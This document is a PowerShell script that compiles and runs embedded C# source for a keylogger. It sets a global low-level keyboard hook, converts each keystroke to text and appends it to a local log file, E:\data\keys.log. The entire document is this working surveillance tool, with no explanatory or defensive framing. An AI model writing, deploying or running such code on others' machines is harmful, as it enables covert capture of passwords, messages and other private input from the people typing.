Add-Type -TypeDefinition @"
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace KeyLogger {
    public static class Program {
        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;
        private const int WM_KEYUP = 0x0101;
        private const string logFileName = "E:\\data\\keys.log";
        private static HookProc hookProc = HookCallback;
        private static IntPtr hookId = IntPtr.Zero;
        private static bool shiftPressed = false;

        public static void Main() {
            hookId = SetHook(hookProc);
            Application.Run();
            UnhookWindowsHookEx(hookId);
        }

        private static IntPtr SetHook(HookProc hookProc) {
            IntPtr moduleHandle = GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName);
            return SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, moduleHandle, 0);
        }

        private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);

        private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) {
            if (nCode >= 0) {
                int vkCode = Marshal.ReadInt32(lParam);
                Keys key = (Keys)vkCode;

                if (wParam == (IntPtr)WM_KEYDOWN) {
                    if (key == Keys.LShiftKey || key == Keys.RShiftKey) {
                        shiftPressed = true;
                    } else if (key == Keys.Back) {
                        if (!shiftPressed) {
                            RemoveLastCharacter();
                        } else {
                            AppendToFile("[BACKSPACE]");
                        }
                    } else {
                        AppendToFile(TranslateKey(key));
                    }
                } else if (wParam == (IntPtr)WM_KEYUP) {
                    if (key == Keys.LShiftKey || key == Keys.RShiftKey) {
                        shiftPressed = false;
                    }
                }
            }
            return CallNextHookEx(hookId, nCode, wParam, lParam);
        }

        private static void RemoveLastCharacter() {
            if (File.Exists(logFileName)) {
                string text = File.ReadAllText(logFileName);
                if (text.Length > 0) {
                    File.WriteAllText(logFileName, text.Substring(0, text.Length - 1));
                }
            }
        }

        private static void AppendToFile(string text) {
            using (StreamWriter logFile = new StreamWriter(logFileName, true)) {
                logFile.Write(text);
            }
        }

        private static string TranslateKey(Keys key) {
            switch (key) {
                case Keys.A: return shiftPressed ? "A" : "a";
                case Keys.B: return shiftPressed ? "B" : "b";
                case Keys.C: return shiftPressed ? "C" : "c";
                case Keys.D: return shiftPressed ? "D" : "d";
                case Keys.E: return shiftPressed ? "E" : "e";
                case Keys.F: return shiftPressed ? "F" : "f";
                case Keys.G: return shiftPressed ? "G" : "g";
                case Keys.H: return shiftPressed ? "H" : "h";
                case Keys.I: return shiftPressed ? "I" : "i";
                case Keys.J: return shiftPressed ? "J" : "j";
                case Keys.K: return shiftPressed ? "K" : "k";
                case Keys.L: return shiftPressed ? "L" : "l";
                case Keys.M: return shiftPressed ? "M" : "m";
                case Keys.N: return shiftPressed ? "N" : "n";
                case Keys.O: return shiftPressed ? "O" : "o";
                case Keys.P: return shiftPressed ? "P" : "p";
                case Keys.Q: return shiftPressed ? "Q" : "q";
                case Keys.R: return shiftPressed ? "R" : "r";
                case Keys.S: return shiftPressed ? "S" : "s";
                case Keys.T: return shiftPressed ? "T" : "t";
                case Keys.U: return shiftPressed ? "U" : "u";
                case Keys.V: return shiftPressed ? "V" : "v";
                case Keys.W: return shiftPressed ? "W" : "w";
                case Keys.X: return shiftPressed ? "X" : "x";
                case Keys.Y: return shiftPressed ? "Y" : "y";
                case Keys.Z: return shiftPressed ? "Z" : "z";
                case Keys.D0: return shiftPressed ? ")" : "0";
                case Keys.D1: return shiftPressed ? "!" : "1";
                case Keys.D2: return shiftPressed ? "@" : "2";
                case Keys.D3: return shiftPressed ? "#" : "3";
                case Keys.D4: return shiftPressed ? "$" : "4";
                case Keys.D5: return shiftPressed ? "%" : "5";
                case Keys.D6: return shiftPressed ? "^" : "6";
                case Keys.D7: return shiftPressed ? "&" : "7";
                case Keys.D8: return shiftPressed ? "*" : "8";
                case Keys.D9: return shiftPressed ? "(" : "9";
                case Keys.Space: return " ";
                case Keys.Enter: return "[ENTER]\n";
                case Keys.Tab: return "[TAB]";
                case Keys.Back: return "[BACKSPACE]";
                case Keys.OemPeriod: return shiftPressed ? ">" : ".";
                case Keys.Oemcomma: return shiftPressed ? "<" : ",";
                case Keys.OemQuestion: return shiftPressed ? "?" : "/";
                case Keys.OemMinus: return shiftPressed ? "_" : "-";
                case Keys.Oemplus: return shiftPressed ? "+" : "=";
                case Keys.OemSemicolon: return shiftPressed ? ":" : ";";
                case Keys.OemQuotes: return shiftPressed ? "\"" : "'";
                case Keys.OemPipe: return shiftPressed ? "|" : "\\";
                case Keys.OemOpenBrackets: return shiftPressed ? "{" : "[";
                case Keys.OemCloseBrackets: return shiftPressed ? "}" : "]";
                case Keys.Oemtilde: return shiftPressed ? "~" : "";
                default: return "[" + key.ToString() + "]";
            }
        }

        [DllImport("user32.dll")]
        private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll")]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll")]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll")]
        private static extern IntPtr GetModuleHandle(string lpModuleName);
    }
}
"@ -ReferencedAssemblies System.Windows.Forms,System.Drawing

[KeyLogger.Program]::Main();